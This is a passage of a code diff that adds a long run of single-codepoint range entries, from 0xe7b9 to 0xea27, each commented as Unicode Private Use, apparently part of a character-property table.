+ [0xe7b9, 0xe7b9], /* Private Use */
+ [0xe7ba, 0xe7ba], /* Private Use */
+ [0xe7bb, 0xe7bb], /* Private Use */
+ [0xe7bc, 0xe7bc], /* Private Use */
+ [0xe7bd, 0xe7bd], /* Private Use */
+ [0xe7be, 0xe7be], /* Private Use */
+ [0xe7bf, 0xe7bf], /* Private Use */
+ [0xe7c0, 0xe7c0], /* Private Use */
+ [0xe7c1, 0xe7c1], /* Private Use */
+ [0xe7c2, 0xe7c2], /* Private Use */
+ [0xe7c3, 0xe7c3], /* Private Use */
+ [0xe7c4, 0xe7c4], /* Private Use */
+ [0xe7c5, 0xe7c5], /* Private Use */
+ [0xe7c6, 0xe7c6], /* Private Use */
+ [0xe7c7, 0xe7c7], /* Private Use */
+ [0xe7c8, 0xe7c8], /* Private Use */
+ [0xe7c9, 0xe7c9], /* Private Use */
+ [0xe7ca, 0xe7ca], /* Private Use */
+ [0xe7cb, 0xe7cb], /* Private Use */
+ [0xe7cc, 0xe7cc], /* Private Use */
+ [0xe7cd, 0xe7cd], /* Private Use */
+ [0xe7ce, 0xe7ce], /* Private Use */
+ [0xe7cf, 0xe7cf], /* Private Use */
+ [0xe7d0, 0xe7d0], /* Private Use */
+ [0xe7d1, 0xe7d1], /* Private Use */
+ [0xe7d2, 0xe7d2], /* Private Use */
+ [0xe7d3, 0xe7d3], /* Private Use */
+ [0xe7d4, 0xe7d4], /* Private Use */
+ [0xe7d5, 0xe7d5], /* Private Use */
+ [0xe7d6, 0xe7d6], /* Private Use */
+ [0xe7d7, 0xe7d7], /* Private Use */
+ [0xe7d8, 0xe7d8], /* Private Use */
+ [0xe7d9, 0xe7d9], /* Private Use */
+ [0xe7da, 0xe7da], /* Private Use */
+ [0xe7db, 0xe7db], /* Private Use */
+ [0xe7dc, 0xe7dc], /* Private Use */
+ [0xe7dd, 0xe7dd], /* Private Use */
+ [0xe7de, 0xe7de], /* Private Use */
+ [0xe7df, 0xe7df], /* Private Use */
+ [0xe7e0, 0xe7e0], /* Private Use */
+ [0xe7e1, 0xe7e1], /* Private Use */
+ [0xe7e2, 0xe7e2], /* Private Use */
+ [0xe7e3, 0xe7e3], /* Private Use */
+ [0xe7e4, 0xe7e4], /* Private Use */
+ [0xe7e5, 0xe7e5], /* Private Use */
+ [0xe7e6, 0xe7e6], /* Private Use */
+ [0xe7e7, 0xe7e7], /* Private Use */
+ [0xe7e8, 0xe7e8], /* Private Use */
+ [0xe7e9, 0xe7e9], /* Private Use */
+ [0xe7ea, 0xe7ea], /* Private Use */
+ [0xe7eb, 0xe7eb], /* Private Use */
+ [0xe7ec, 0xe7ec], /* Private Use */
+ [0xe7ed, 0xe7ed], /* Private Use */
+ [0xe7ee, 0xe7ee], /* Private Use */
+ [0xe7ef, 0xe7ef], /* Private Use */
+ [0xe7f0, 0xe7f0], /* Private Use */
+ [0xe7f1, 0xe7f1], /* Private Use */
+ [0xe7f2, 0xe7f2], /* Private Use */
+ [0xe7f3, 0xe7f3], /* Private Use */
+ [0xe7f4, 0xe7f4], /* Private Use */
+ [0xe7f5, 0xe7f5], /* Private Use */
+ [0xe7f6, 0xe7f6], /* Private Use */
+ [0xe7f7, 0xe7f7], /* Private Use */
+ [0xe7f8, 0xe7f8], /* Private Use */
+ [0xe7f9, 0xe7f9], /* Private Use */
+ [0xe7fa, 0xe7fa], /* Private Use */
+ [0xe7fb, 0xe7fb], /* Private Use */
+ [0xe7fc, 0xe7fc], /* Private Use */
+ [0xe7fd, 0xe7fd], /* Private Use */
+ [0xe7fe, 0xe7fe], /* Private Use */
+ [0xe7ff, 0xe7ff], /* Private Use */
+ [0xe800, 0xe800], /* Private Use */
+ [0xe801, 0xe801], /* Private Use */
+ [0xe802, 0xe802], /* Private Use */
+ [0xe803, 0xe803], /* Private Use */
+ [0xe804, 0xe804], /* Private Use */
+ [0xe805, 0xe805], /* Private Use */
+ [0xe806, 0xe806], /* Private Use */
+ [0xe807, 0xe807], /* Private Use */
+ [0xe808, 0xe808], /* Private Use */
+ [0xe809, 0xe809], /* Private Use */
+ [0xe80a, 0xe80a], /* Private Use */
+ [0xe80b, 0xe80b], /* Private Use */
+ [0xe80c, 0xe80c], /* Private Use */
+ [0xe80d, 0xe80d], /* Private Use */
+ [0xe80e, 0xe80e], /* Private Use */
+ [0xe80f, 0xe80f], /* Private Use */
+ [0xe810, 0xe810], /* Private Use */
+ [0xe811, 0xe811], /* Private Use */
+ [0xe812, 0xe812], /* Private Use */
+ [0xe813, 0xe813], /* Private Use */
+ [0xe814, 0xe814], /* Private Use */
+ [0xe815, 0xe815], /* Private Use */
+ [0xe816, 0xe816], /* Private Use */
+ [0xe817, 0xe817], /* Private Use */
+ [0xe818, 0xe818], /* Private Use */
+ [0xe819, 0xe819], /* Private Use */
+ [0xe81a, 0xe81a], /* Private Use */
+ [0xe81b, 0xe81b], /* Private Use */
+ [0xe81c, 0xe81c], /* Private Use */
+ [0xe81d, 0xe81d], /* Private Use */
+ [0xe81e, 0xe81e], /* Private Use */
+ [0xe81f, 0xe81f], /* Private Use */
+ [0xe820, 0xe820], /* Private Use */
+ [0xe821, 0xe821], /* Private Use */
+ [0xe822, 0xe822], /* Private Use */
+ [0xe823, 0xe823], /* Private Use */
+ [0xe824, 0xe824], /* Private Use */
+ [0xe825, 0xe825], /* Private Use */
+ [0xe826, 0xe826], /* Private Use */
+ [0xe827, 0xe827], /* Private Use */
+ [0xe828, 0xe828], /* Private Use */
+ [0xe829, 0xe829], /* Private Use */
+ [0xe82a, 0xe82a], /* Private Use */
+ [0xe82b, 0xe82b], /* Private Use */
+ [0xe82c, 0xe82c], /* Private Use */
+ [0xe82d, 0xe82d], /* Private Use */
+ [0xe82e, 0xe82e], /* Private Use */
+ [0xe82f, 0xe82f], /* Private Use */
+ [0xe830, 0xe830], /* Private Use */
+ [0xe831, 0xe831], /* Private Use */
+ [0xe832, 0xe832], /* Private Use */
+ [0xe833, 0xe833], /* Private Use */
+ [0xe834, 0xe834], /* Private Use */
+ [0xe835, 0xe835], /* Private Use */
+ [0xe836, 0xe836], /* Private Use */
+ [0xe837, 0xe837], /* Private Use */
+ [0xe838, 0xe838], /* Private Use */
+ [0xe839, 0xe839], /* Private Use */
+ [0xe83a, 0xe83a], /* Private Use */
+ [0xe83b, 0xe83b], /* Private Use */
+ [0xe83c, 0xe83c], /* Private Use */
+ [0xe83d, 0xe83d], /* Private Use */
+ [0xe83e, 0xe83e], /* Private Use */
+ [0xe83f, 0xe83f], /* Private Use */
+ [0xe840, 0xe840], /* Private Use */
+ [0xe841, 0xe841], /* Private Use */
+ [0xe842, 0xe842], /* Private Use */
+ [0xe843, 0xe843], /* Private Use */
+ [0xe844, 0xe844], /* Private Use */
+ [0xe845, 0xe845], /* Private Use */
+ [0xe846, 0xe846], /* Private Use */
+ [0xe847, 0xe847], /* Private Use */
+ [0xe848, 0xe848], /* Private Use */
+ [0xe849, 0xe849], /* Private Use */
+ [0xe84a, 0xe84a], /* Private Use */
+ [0xe84b, 0xe84b], /* Private Use */
+ [0xe84c, 0xe84c], /* Private Use */
+ [0xe84d, 0xe84d], /* Private Use */
+ [0xe84e, 0xe84e], /* Private Use */
+ [0xe84f, 0xe84f], /* Private Use */
+ [0xe850, 0xe850], /* Private Use */
+ [0xe851, 0xe851], /* Private Use */
+ [0xe852, 0xe852], /* Private Use */
+ [0xe853, 0xe853], /* Private Use */
+ [0xe854, 0xe854], /* Private Use */
+ [0xe855, 0xe855], /* Private Use */
+ [0xe856, 0xe856], /* Private Use */
+ [0xe857, 0xe857], /* Private Use */
+ [0xe858, 0xe858], /* Private Use */
+ [0xe859, 0xe859], /* Private Use */
+ [0xe85a, 0xe85a], /* Private Use */
+ [0xe85b, 0xe85b], /* Private Use */
+ [0xe85c, 0xe85c], /* Private Use */
+ [0xe85d, 0xe85d], /* Private Use */
+ [0xe85e, 0xe85e], /* Private Use */
+ [0xe85f, 0xe85f], /* Private Use */
+ [0xe860, 0xe860], /* Private Use */
+ [0xe861, 0xe861], /* Private Use */
+ [0xe862, 0xe862], /* Private Use */
+ [0xe863, 0xe863], /* Private Use */
+ [0xe864, 0xe864], /* Private Use */
+ [0xe865, 0xe865], /* Private Use */
+ [0xe866, 0xe866], /* Private Use */
+ [0xe867, 0xe867], /* Private Use */
+ [0xe868, 0xe868], /* Private Use */
+ [0xe869, 0xe869], /* Private Use */
+ [0xe86a, 0xe86a], /* Private Use */
+ [0xe86b, 0xe86b], /* Private Use */
+ [0xe86c, 0xe86c], /* Private Use */
+ [0xe86d, 0xe86d], /* Private Use */
+ [0xe86e, 0xe86e], /* Private Use */
+ [0xe86f, 0xe86f], /* Private Use */
+ [0xe870, 0xe870], /* Private Use */
+ [0xe871, 0xe871], /* Private Use */
+ [0xe872, 0xe872], /* Private Use */
+ [0xe873, 0xe873], /* Private Use */
+ [0xe874, 0xe874], /* Private Use */
+ [0xe875, 0xe875], /* Private Use */
+ [0xe876, 0xe876], /* Private Use */
+ [0xe877, 0xe877], /* Private Use */
+ [0xe878, 0xe878], /* Private Use */
+ [0xe879, 0xe879], /* Private Use */
+ [0xe87a, 0xe87a], /* Private Use */
+ [0xe87b, 0xe87b], /* Private Use */
+ [0xe87c, 0xe87c], /* Private Use */
+ [0xe87d, 0xe87d], /* Private Use */
+ [0xe87e, 0xe87e], /* Private Use */
+ [0xe87f, 0xe87f], /* Private Use */
+ [0xe880, 0xe880], /* Private Use */
+ [0xe881, 0xe881], /* Private Use */
+ [0xe882, 0xe882], /* Private Use */
+ [0xe883, 0xe883], /* Private Use */
+ [0xe884, 0xe884], /* Private Use */
+ [0xe885, 0xe885], /* Private Use */
+ [0xe886, 0xe886], /* Private Use */
+ [0xe887, 0xe887], /* Private Use */
+ [0xe888, 0xe888], /* Private Use */
+ [0xe889, 0xe889], /* Private Use */
+ [0xe88a, 0xe88a], /* Private Use */
+ [0xe88b, 0xe88b], /* Private Use */
+ [0xe88c, 0xe88c], /* Private Use */
+ [0xe88d, 0xe88d], /* Private Use */
+ [0xe88e, 0xe88e], /* Private Use */
+ [0xe88f, 0xe88f], /* Private Use */
+ [0xe890, 0xe890], /* Private Use */
+ [0xe891, 0xe891], /* Private Use */
+ [0xe892, 0xe892], /* Private Use */
+ [0xe893, 0xe893], /* Private Use */
+ [0xe894, 0xe894], /* Private Use */
+ [0xe895, 0xe895], /* Private Use */
+ [0xe896, 0xe896], /* Private Use */
+ [0xe897, 0xe897], /* Private Use */
+ [0xe898, 0xe898], /* Private Use */
+ [0xe899, 0xe899], /* Private Use */
+ [0xe89a, 0xe89a], /* Private Use */
+ [0xe89b, 0xe89b], /* Private Use */
+ [0xe89c, 0xe89c], /* Private Use */
+ [0xe89d, 0xe89d], /* Private Use */
+ [0xe89e, 0xe89e], /* Private Use */
+ [0xe89f, 0xe89f], /* Private Use */
+ [0xe8a0, 0xe8a0], /* Private Use */
+ [0xe8a1, 0xe8a1], /* Private Use */
+ [0xe8a2, 0xe8a2], /* Private Use */
+ [0xe8a3, 0xe8a3], /* Private Use */
+ [0xe8a4, 0xe8a4], /* Private Use */
+ [0xe8a5, 0xe8a5], /* Private Use */
+ [0xe8a6, 0xe8a6], /* Private Use */
+ [0xe8a7, 0xe8a7], /* Private Use */
+ [0xe8a8, 0xe8a8], /* Private Use */
+ [0xe8a9, 0xe8a9], /* Private Use */
+ [0xe8aa, 0xe8aa], /* Private Use */
+ [0xe8ab, 0xe8ab], /* Private Use */
+ [0xe8ac, 0xe8ac], /* Private Use */
+ [0xe8ad, 0xe8ad], /* Private Use */
+ [0xe8ae, 0xe8ae], /* Private Use */
+ [0xe8af, 0xe8af], /* Private Use */
+ [0xe8b0, 0xe8b0], /* Private Use */
+ [0xe8b1, 0xe8b1], /* Private Use */
+ [0xe8b2, 0xe8b2], /* Private Use */
+ [0xe8b3, 0xe8b3], /* Private Use */
+ [0xe8b4, 0xe8b4], /* Private Use */
+ [0xe8b5, 0xe8b5], /* Private Use */
+ [0xe8b6, 0xe8b6], /* Private Use */
+ [0xe8b7, 0xe8b7], /* Private Use */
+ [0xe8b8, 0xe8b8], /* Private Use */
+ [0xe8b9, 0xe8b9], /* Private Use */
+ [0xe8ba, 0xe8ba], /* Private Use */
+ [0xe8bb, 0xe8bb], /* Private Use */
+ [0xe8bc, 0xe8bc], /* Private Use */
+ [0xe8bd, 0xe8bd], /* Private Use */
+ [0xe8be, 0xe8be], /* Private Use */
+ [0xe8bf, 0xe8bf], /* Private Use */
+ [0xe8c0, 0xe8c0], /* Private Use */
+ [0xe8c1, 0xe8c1], /* Private Use */
+ [0xe8c2, 0xe8c2], /* Private Use */
+ [0xe8c3, 0xe8c3], /* Private Use */
+ [0xe8c4, 0xe8c4], /* Private Use */
+ [0xe8c5, 0xe8c5], /* Private Use */
+ [0xe8c6, 0xe8c6], /* Private Use */
+ [0xe8c7, 0xe8c7], /* Private Use */
+ [0xe8c8, 0xe8c8], /* Private Use */
+ [0xe8c9, 0xe8c9], /* Private Use */
+ [0xe8ca, 0xe8ca], /* Private Use */
+ [0xe8cb, 0xe8cb], /* Private Use */
+ [0xe8cc, 0xe8cc], /* Private Use */
+ [0xe8cd, 0xe8cd], /* Private Use */
+ [0xe8ce, 0xe8ce], /* Private Use */
+ [0xe8cf, 0xe8cf], /* Private Use */
+ [0xe8d0, 0xe8d0], /* Private Use */
+ [0xe8d1, 0xe8d1], /* Private Use */
+ [0xe8d2, 0xe8d2], /* Private Use */
+ [0xe8d3, 0xe8d3], /* Private Use */
+ [0xe8d4, 0xe8d4], /* Private Use */
+ [0xe8d5, 0xe8d5], /* Private Use */
+ [0xe8d6, 0xe8d6], /* Private Use */
+ [0xe8d7, 0xe8d7], /* Private Use */
+ [0xe8d8, 0xe8d8], /* Private Use */
+ [0xe8d9, 0xe8d9], /* Private Use */
+ [0xe8da, 0xe8da], /* Private Use */
+ [0xe8db, 0xe8db], /* Private Use */
+ [0xe8dc, 0xe8dc], /* Private Use */
+ [0xe8dd, 0xe8dd], /* Private Use */
+ [0xe8de, 0xe8de], /* Private Use */
+ [0xe8df, 0xe8df], /* Private Use */
+ [0xe8e0, 0xe8e0], /* Private Use */
+ [0xe8e1, 0xe8e1], /* Private Use */
+ [0xe8e2, 0xe8e2], /* Private Use */
+ [0xe8e3, 0xe8e3], /* Private Use */
+ [0xe8e4, 0xe8e4], /* Private Use */
+ [0xe8e5, 0xe8e5], /* Private Use */
+ [0xe8e6, 0xe8e6], /* Private Use */
+ [0xe8e7, 0xe8e7], /* Private Use */
+ [0xe8e8, 0xe8e8], /* Private Use */
+ [0xe8e9, 0xe8e9], /* Private Use */
+ [0xe8ea, 0xe8ea], /* Private Use */
+ [0xe8eb, 0xe8eb], /* Private Use */
+ [0xe8ec, 0xe8ec], /* Private Use */
+ [0xe8ed, 0xe8ed], /* Private Use */
+ [0xe8ee, 0xe8ee], /* Private Use */
+ [0xe8ef, 0xe8ef], /* Private Use */
+ [0xe8f0, 0xe8f0], /* Private Use */
+ [0xe8f1, 0xe8f1], /* Private Use */
+ [0xe8f2, 0xe8f2], /* Private Use */
+ [0xe8f3, 0xe8f3], /* Private Use */
+ [0xe8f4, 0xe8f4], /* Private Use */
+ [0xe8f5, 0xe8f5], /* Private Use */
+ [0xe8f6, 0xe8f6], /* Private Use */
+ [0xe8f7, 0xe8f7], /* Private Use */
+ [0xe8f8, 0xe8f8], /* Private Use */
+ [0xe8f9, 0xe8f9], /* Private Use */
+ [0xe8fa, 0xe8fa], /* Private Use */
+ [0xe8fb, 0xe8fb], /* Private Use */
+ [0xe8fc, 0xe8fc], /* Private Use */
+ [0xe8fd, 0xe8fd], /* Private Use */
+ [0xe8fe, 0xe8fe], /* Private Use */
+ [0xe8ff, 0xe8ff], /* Private Use */
+ [0xe900, 0xe900], /* Private Use */
+ [0xe901, 0xe901], /* Private Use */
+ [0xe902, 0xe902], /* Private Use */
+ [0xe903, 0xe903], /* Private Use */
+ [0xe904, 0xe904], /* Private Use */
+ [0xe905, 0xe905], /* Private Use */
+ [0xe906, 0xe906], /* Private Use */
+ [0xe907, 0xe907], /* Private Use */
+ [0xe908, 0xe908], /* Private Use */
+ [0xe909, 0xe909], /* Private Use */
+ [0xe90a, 0xe90a], /* Private Use */
+ [0xe90b, 0xe90b], /* Private Use */
+ [0xe90c, 0xe90c], /* Private Use */
+ [0xe90d, 0xe90d], /* Private Use */
+ [0xe90e, 0xe90e], /* Private Use */
+ [0xe90f, 0xe90f], /* Private Use */
+ [0xe910, 0xe910], /* Private Use */
+ [0xe911, 0xe911], /* Private Use */
+ [0xe912, 0xe912], /* Private Use */
+ [0xe913, 0xe913], /* Private Use */
+ [0xe914, 0xe914], /* Private Use */
+ [0xe915, 0xe915], /* Private Use */
+ [0xe916, 0xe916], /* Private Use */
+ [0xe917, 0xe917], /* Private Use */
+ [0xe918, 0xe918], /* Private Use */
+ [0xe919, 0xe919], /* Private Use */
+ [0xe91a, 0xe91a], /* Private Use */
+ [0xe91b, 0xe91b], /* Private Use */
+ [0xe91c, 0xe91c], /* Private Use */
+ [0xe91d, 0xe91d], /* Private Use */
+ [0xe91e, 0xe91e], /* Private Use */
+ [0xe91f, 0xe91f], /* Private Use */
+ [0xe920, 0xe920], /* Private Use */
+ [0xe921, 0xe921], /* Private Use */
+ [0xe922, 0xe922], /* Private Use */
+ [0xe923, 0xe923], /* Private Use */
+ [0xe924, 0xe924], /* Private Use */
+ [0xe925, 0xe925], /* Private Use */
+ [0xe926, 0xe926], /* Private Use */
+ [0xe927, 0xe927], /* Private Use */
+ [0xe928, 0xe928], /* Private Use */
+ [0xe929, 0xe929], /* Private Use */
+ [0xe92a, 0xe92a], /* Private Use */
+ [0xe92b, 0xe92b], /* Private Use */
+ [0xe92c, 0xe92c], /* Private Use */
+ [0xe92d, 0xe92d], /* Private Use */
+ [0xe92e, 0xe92e], /* Private Use */
+ [0xe92f, 0xe92f], /* Private Use */
+ [0xe930, 0xe930], /* Private Use */
+ [0xe931, 0xe931], /* Private Use */
+ [0xe932, 0xe932], /* Private Use */
+ [0xe933, 0xe933], /* Private Use */
+ [0xe934, 0xe934], /* Private Use */
+ [0xe935, 0xe935], /* Private Use */
+ [0xe936, 0xe936], /* Private Use */
+ [0xe937, 0xe937], /* Private Use */
+ [0xe938, 0xe938], /* Private Use */
+ [0xe939, 0xe939], /* Private Use */
+ [0xe93a, 0xe93a], /* Private Use */
+ [0xe93b, 0xe93b], /* Private Use */
+ [0xe93c, 0xe93c], /* Private Use */
+ [0xe93d, 0xe93d], /* Private Use */
+ [0xe93e, 0xe93e], /* Private Use */
+ [0xe93f, 0xe93f], /* Private Use */
+ [0xe940, 0xe940], /* Private Use */
+ [0xe941, 0xe941], /* Private Use */
+ [0xe942, 0xe942], /* Private Use */
+ [0xe943, 0xe943], /* Private Use */
+ [0xe944, 0xe944], /* Private Use */
+ [0xe945, 0xe945], /* Private Use */
+ [0xe946, 0xe946], /* Private Use */
+ [0xe947, 0xe947], /* Private Use */
+ [0xe948, 0xe948], /* Private Use */
+ [0xe949, 0xe949], /* Private Use */
+ [0xe94a, 0xe94a], /* Private Use */
+ [0xe94b, 0xe94b], /* Private Use */
+ [0xe94c, 0xe94c], /* Private Use */
+ [0xe94d, 0xe94d], /* Private Use */
+ [0xe94e, 0xe94e], /* Private Use */
+ [0xe94f, 0xe94f], /* Private Use */
+ [0xe950, 0xe950], /* Private Use */
+ [0xe951, 0xe951], /* Private Use */
+ [0xe952, 0xe952], /* Private Use */
+ [0xe953, 0xe953], /* Private Use */
+ [0xe954, 0xe954], /* Private Use */
+ [0xe955, 0xe955], /* Private Use */
+ [0xe956, 0xe956], /* Private Use */
+ [0xe957, 0xe957], /* Private Use */
+ [0xe958, 0xe958], /* Private Use */
+ [0xe959, 0xe959], /* Private Use */
+ [0xe95a, 0xe95a], /* Private Use */
+ [0xe95b, 0xe95b], /* Private Use */
+ [0xe95c, 0xe95c], /* Private Use */
+ [0xe95d, 0xe95d], /* Private Use */
+ [0xe95e, 0xe95e], /* Private Use */
+ [0xe95f, 0xe95f], /* Private Use */
+ [0xe960, 0xe960], /* Private Use */
+ [0xe961, 0xe961], /* Private Use */
+ [0xe962, 0xe962], /* Private Use */
+ [0xe963, 0xe963], /* Private Use */
+ [0xe964, 0xe964], /* Private Use */
+ [0xe965, 0xe965], /* Private Use */
+ [0xe966, 0xe966], /* Private Use */
+ [0xe967, 0xe967], /* Private Use */
+ [0xe968, 0xe968], /* Private Use */
+ [0xe969, 0xe969], /* Private Use */
+ [0xe96a, 0xe96a], /* Private Use */
+ [0xe96b, 0xe96b], /* Private Use */
+ [0xe96c, 0xe96c], /* Private Use */
+ [0xe96d, 0xe96d], /* Private Use */
+ [0xe96e, 0xe96e], /* Private Use */
+ [0xe96f, 0xe96f], /* Private Use */
+ [0xe970, 0xe970], /* Private Use */
+ [0xe971, 0xe971], /* Private Use */
+ [0xe972, 0xe972], /* Private Use */
+ [0xe973, 0xe973], /* Private Use */
+ [0xe974, 0xe974], /* Private Use */
+ [0xe975, 0xe975], /* Private Use */
+ [0xe976, 0xe976], /* Private Use */
+ [0xe977, 0xe977], /* Private Use */
+ [0xe978, 0xe978], /* Private Use */
+ [0xe979, 0xe979], /* Private Use */
+ [0xe97a, 0xe97a], /* Private Use */
+ [0xe97b, 0xe97b], /* Private Use */
+ [0xe97c, 0xe97c], /* Private Use */
+ [0xe97d, 0xe97d], /* Private Use */
+ [0xe97e, 0xe97e], /* Private Use */
+ [0xe97f, 0xe97f], /* Private Use */
+ [0xe980, 0xe980], /* Private Use */
+ [0xe981, 0xe981], /* Private Use */
+ [0xe982, 0xe982], /* Private Use */
+ [0xe983, 0xe983], /* Private Use */
+ [0xe984, 0xe984], /* Private Use */
+ [0xe985, 0xe985], /* Private Use */
+ [0xe986, 0xe986], /* Private Use */
+ [0xe987, 0xe987], /* Private Use */
+ [0xe988, 0xe988], /* Private Use */
+ [0xe989, 0xe989], /* Private Use */
+ [0xe98a, 0xe98a], /* Private Use */
+ [0xe98b, 0xe98b], /* Private Use */
+ [0xe98c, 0xe98c], /* Private Use */
+ [0xe98d, 0xe98d], /* Private Use */
+ [0xe98e, 0xe98e], /* Private Use */
+ [0xe98f, 0xe98f], /* Private Use */
+ [0xe990, 0xe990], /* Private Use */
+ [0xe991, 0xe991], /* Private Use */
+ [0xe992, 0xe992], /* Private Use */
+ [0xe993, 0xe993], /* Private Use */
+ [0xe994, 0xe994], /* Private Use */
+ [0xe995, 0xe995], /* Private Use */
+ [0xe996, 0xe996], /* Private Use */
+ [0xe997, 0xe997], /* Private Use */
+ [0xe998, 0xe998], /* Private Use */
+ [0xe999, 0xe999], /* Private Use */
+ [0xe99a, 0xe99a], /* Private Use */
+ [0xe99b, 0xe99b], /* Private Use */
+ [0xe99c, 0xe99c], /* Private Use */
+ [0xe99d, 0xe99d], /* Private Use */
+ [0xe99e, 0xe99e], /* Private Use */
+ [0xe99f, 0xe99f], /* Private Use */
+ [0xe9a0, 0xe9a0], /* Private Use */
+ [0xe9a1, 0xe9a1], /* Private Use */
+ [0xe9a2, 0xe9a2], /* Private Use */
+ [0xe9a3, 0xe9a3], /* Private Use */
+ [0xe9a4, 0xe9a4], /* Private Use */
+ [0xe9a5, 0xe9a5], /* Private Use */
+ [0xe9a6, 0xe9a6], /* Private Use */
+ [0xe9a7, 0xe9a7], /* Private Use */
+ [0xe9a8, 0xe9a8], /* Private Use */
+ [0xe9a9, 0xe9a9], /* Private Use */
+ [0xe9aa, 0xe9aa], /* Private Use */
+ [0xe9ab, 0xe9ab], /* Private Use */
+ [0xe9ac, 0xe9ac], /* Private Use */
+ [0xe9ad, 0xe9ad], /* Private Use */
+ [0xe9ae, 0xe9ae], /* Private Use */
+ [0xe9af, 0xe9af], /* Private Use */
+ [0xe9b0, 0xe9b0], /* Private Use */
+ [0xe9b1, 0xe9b1], /* Private Use */
+ [0xe9b2, 0xe9b2], /* Private Use */
+ [0xe9b3, 0xe9b3], /* Private Use */
+ [0xe9b4, 0xe9b4], /* Private Use */
+ [0xe9b5, 0xe9b5], /* Private Use */
+ [0xe9b6, 0xe9b6], /* Private Use */
+ [0xe9b7, 0xe9b7], /* Private Use */
+ [0xe9b8, 0xe9b8], /* Private Use */
+ [0xe9b9, 0xe9b9], /* Private Use */
+ [0xe9ba, 0xe9ba], /* Private Use */
+ [0xe9bb, 0xe9bb], /* Private Use */
+ [0xe9bc, 0xe9bc], /* Private Use */
+ [0xe9bd, 0xe9bd], /* Private Use */
+ [0xe9be, 0xe9be], /* Private Use */
+ [0xe9bf, 0xe9bf], /* Private Use */
+ [0xe9c0, 0xe9c0], /* Private Use */
+ [0xe9c1, 0xe9c1], /* Private Use */
+ [0xe9c2, 0xe9c2], /* Private Use */
+ [0xe9c3, 0xe9c3], /* Private Use */
+ [0xe9c4, 0xe9c4], /* Private Use */
+ [0xe9c5, 0xe9c5], /* Private Use */
+ [0xe9c6, 0xe9c6], /* Private Use */
+ [0xe9c7, 0xe9c7], /* Private Use */
+ [0xe9c8, 0xe9c8], /* Private Use */
+ [0xe9c9, 0xe9c9], /* Private Use */
+ [0xe9ca, 0xe9ca], /* Private Use */
+ [0xe9cb, 0xe9cb], /* Private Use */
+ [0xe9cc, 0xe9cc], /* Private Use */
+ [0xe9cd, 0xe9cd], /* Private Use */
+ [0xe9ce, 0xe9ce], /* Private Use */
+ [0xe9cf, 0xe9cf], /* Private Use */
+ [0xe9d0, 0xe9d0], /* Private Use */
+ [0xe9d1, 0xe9d1], /* Private Use */
+ [0xe9d2, 0xe9d2], /* Private Use */
+ [0xe9d3, 0xe9d3], /* Private Use */
+ [0xe9d4, 0xe9d4], /* Private Use */
+ [0xe9d5, 0xe9d5], /* Private Use */
+ [0xe9d6, 0xe9d6], /* Private Use */
+ [0xe9d7, 0xe9d7], /* Private Use */
+ [0xe9d8, 0xe9d8], /* Private Use */
+ [0xe9d9, 0xe9d9], /* Private Use */
+ [0xe9da, 0xe9da], /* Private Use */
+ [0xe9db, 0xe9db], /* Private Use */
+ [0xe9dc, 0xe9dc], /* Private Use */
+ [0xe9dd, 0xe9dd], /* Private Use */
+ [0xe9de, 0xe9de], /* Private Use */
+ [0xe9df, 0xe9df], /* Private Use */
+ [0xe9e0, 0xe9e0], /* Private Use */
+ [0xe9e1, 0xe9e1], /* Private Use */
+ [0xe9e2, 0xe9e2], /* Private Use */
+ [0xe9e3, 0xe9e3], /* Private Use */
+ [0xe9e4, 0xe9e4], /* Private Use */
+ [0xe9e5, 0xe9e5], /* Private Use */
+ [0xe9e6, 0xe9e6], /* Private Use */
+ [0xe9e7, 0xe9e7], /* Private Use */
+ [0xe9e8, 0xe9e8], /* Private Use */
+ [0xe9e9, 0xe9e9], /* Private Use */
+ [0xe9ea, 0xe9ea], /* Private Use */
+ [0xe9eb, 0xe9eb], /* Private Use */
+ [0xe9ec, 0xe9ec], /* Private Use */
+ [0xe9ed, 0xe9ed], /* Private Use */
+ [0xe9ee, 0xe9ee], /* Private Use */
+ [0xe9ef, 0xe9ef], /* Private Use */
+ [0xe9f0, 0xe9f0], /* Private Use */
+ [0xe9f1, 0xe9f1], /* Private Use */
+ [0xe9f2, 0xe9f2], /* Private Use */
+ [0xe9f3, 0xe9f3], /* Private Use */
+ [0xe9f4, 0xe9f4], /* Private Use */
+ [0xe9f5, 0xe9f5], /* Private Use */
+ [0xe9f6, 0xe9f6], /* Private Use */
+ [0xe9f7, 0xe9f7], /* Private Use */
+ [0xe9f8, 0xe9f8], /* Private Use */
+ [0xe9f9, 0xe9f9], /* Private Use */
+ [0xe9fa, 0xe9fa], /* Private Use */
+ [0xe9fb, 0xe9fb], /* Private Use */
+ [0xe9fc, 0xe9fc], /* Private Use */
+ [0xe9fd, 0xe9fd], /* Private Use */
+ [0xe9fe, 0xe9fe], /* Private Use */
+ [0xe9ff, 0xe9ff], /* Private Use */
+ [0xea00, 0xea00], /* Private Use */
+ [0xea01, 0xea01], /* Private Use */
+ [0xea02, 0xea02], /* Private Use */
+ [0xea03, 0xea03], /* Private Use */
+ [0xea04, 0xea04], /* Private Use */
+ [0xea05, 0xea05], /* Private Use */
+ [0xea06, 0xea06], /* Private Use */
+ [0xea07, 0xea07], /* Private Use */
+ [0xea08, 0xea08], /* Private Use */
+ [0xea09, 0xea09], /* Private Use */
+ [0xea0a, 0xea0a], /* Private Use */
+ [0xea0b, 0xea0b], /* Private Use */
+ [0xea0c, 0xea0c], /* Private Use */
+ [0xea0d, 0xea0d], /* Private Use */
+ [0xea0e, 0xea0e], /* Private Use */
+ [0xea0f, 0xea0f], /* Private Use */
+ [0xea10, 0xea10], /* Private Use */
+ [0xea11, 0xea11], /* Private Use */
+ [0xea12, 0xea12], /* Private Use */
+ [0xea13, 0xea13], /* Private Use */
+ [0xea14, 0xea14], /* Private Use */
+ [0xea15, 0xea15], /* Private Use */
+ [0xea16, 0xea16], /* Private Use */
+ [0xea17, 0xea17], /* Private Use */
+ [0xea18, 0xea18], /* Private Use */
+ [0xea19, 0xea19], /* Private Use */
+ [0xea1a, 0xea1a], /* Private Use */
+ [0xea1b, 0xea1b], /* Private Use */
+ [0xea1c, 0xea1c], /* Private Use */
+ [0xea1d, 0xea1d], /* Private Use */
+ [0xea1e, 0xea1e], /* Private Use */
+ [0xea1f, 0xea1f], /* Private Use */
+ [0xea20, 0xea20], /* Private Use */
+ [0xea21, 0xea21], /* Private Use */
+ [0xea22, 0xea22], /* Private Use */
+ [0xea23, 0xea23], /* Private Use */
+ [0xea24, 0xea24], /* Private Use */
+ [0xea25, 0xea25], /* Private Use */
+ [0xea26, 0xea26], /* Private Use */
+ [0xea27, 0xea27], /* Private Use */
